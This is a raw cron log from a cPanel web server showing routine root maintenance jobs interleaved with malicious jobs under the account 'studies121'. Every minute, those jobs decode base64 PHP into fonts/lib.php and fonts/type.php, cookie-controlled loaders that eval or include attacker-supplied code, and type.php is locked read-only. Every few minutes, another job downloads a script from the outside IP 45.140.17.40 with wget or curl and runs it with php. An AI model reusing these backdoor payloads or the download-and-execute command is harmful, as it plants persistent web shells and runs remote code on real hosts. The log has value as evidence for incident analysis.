Sep 11 09:45:01 ip-184-168-122-23 CROND[9986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:45:01 ip-184-168-122-23 CROND[9987]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:45:01 ip-184-168-122-23 CROND[9984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:45:01 ip-184-168-122-23 CROND[9985]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:46:01 ip-184-168-122-23 CROND[10094]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:46:01 ip-184-168-122-23 CROND[10096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:46:01 ip-184-168-122-23 CROND[10099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:46:01 ip-184-168-122-23 CROND[10101]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:46:01 ip-184-168-122-23 CROND[10102]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 09:46:01 ip-184-168-122-23 CROND[10103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:46:01 ip-184-168-122-23 CROND[10104]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 09:47:01 ip-184-168-122-23 CROND[10211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:47:01 ip-184-168-122-23 CROND[10213]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:47:01 ip-184-168-122-23 CROND[10214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:47:01 ip-184-168-122-23 CROND[10215]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:48:01 ip-184-168-122-23 CROND[10395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:48:01 ip-184-168-122-23 CROND[10397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:48:01 ip-184-168-122-23 CROND[10399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:48:01 ip-184-168-122-23 CROND[10400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:48:01 ip-184-168-122-23 CROND[10398]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:49:01 ip-184-168-122-23 CROND[10491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:49:01 ip-184-168-122-23 CROND[10493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:49:01 ip-184-168-122-23 CROND[10492]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:49:01 ip-184-168-122-23 CROND[10496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:50:01 ip-184-168-122-23 CROND[10607]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 09:50:01 ip-184-168-122-23 CROND[10610]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 09:50:01 ip-184-168-122-23 CROND[10612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:50:01 ip-184-168-122-23 CROND[10613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:50:01 ip-184-168-122-23 CROND[10615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:50:01 ip-184-168-122-23 CROND[10617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:50:01 ip-184-168-122-23 CROND[10618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:50:01 ip-184-168-122-23 CROND[10619]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:50:01 ip-184-168-122-23 CROND[10622]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:51:02 ip-184-168-122-23 CROND[10724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:51:02 ip-184-168-122-23 CROND[10726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:51:02 ip-184-168-122-23 CROND[10727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:51:02 ip-184-168-122-23 CROND[10728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:52:01 ip-184-168-122-23 CROND[10813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:52:01 ip-184-168-122-23 CROND[10814]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:52:01 ip-184-168-122-23 CROND[10819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:52:01 ip-184-168-122-23 CROND[10818]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:52:01 ip-184-168-122-23 CROND[10820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:53:01 ip-184-168-122-23 CROND[10995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:53:01 ip-184-168-122-23 CROND[10994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:53:01 ip-184-168-122-23 CROND[10996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:53:01 ip-184-168-122-23 CROND[10997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:54:01 ip-184-168-122-23 CROND[11091]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:54:01 ip-184-168-122-23 CROND[11092]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:54:01 ip-184-168-122-23 CROND[11096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:54:01 ip-184-168-122-23 CROND[11094]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:54:01 ip-184-168-122-23 CROND[11095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:55:01 ip-184-168-122-23 CROND[11187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:55:01 ip-184-168-122-23 CROND[11191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:55:01 ip-184-168-122-23 CROND[11193]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 09:55:01 ip-184-168-122-23 CROND[11190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:55:01 ip-184-168-122-23 CROND[11192]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 09:55:01 ip-184-168-122-23 CROND[11194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:56:01 ip-184-168-122-23 CROND[11830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 09:56:01 ip-184-168-122-23 CROND[11831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 09:56:01 ip-184-168-122-23 CROND[11832]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 09:56:01 ip-184-168-122-23 CROND[11833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:56:01 ip-184-168-122-23 CROND[11834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:57:01 ip-184-168-122-23 CROND[11976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 09:57:01 ip-184-168-122-23 CROND[11980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 09:57:01 ip-184-168-122-23 CROND[11978]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
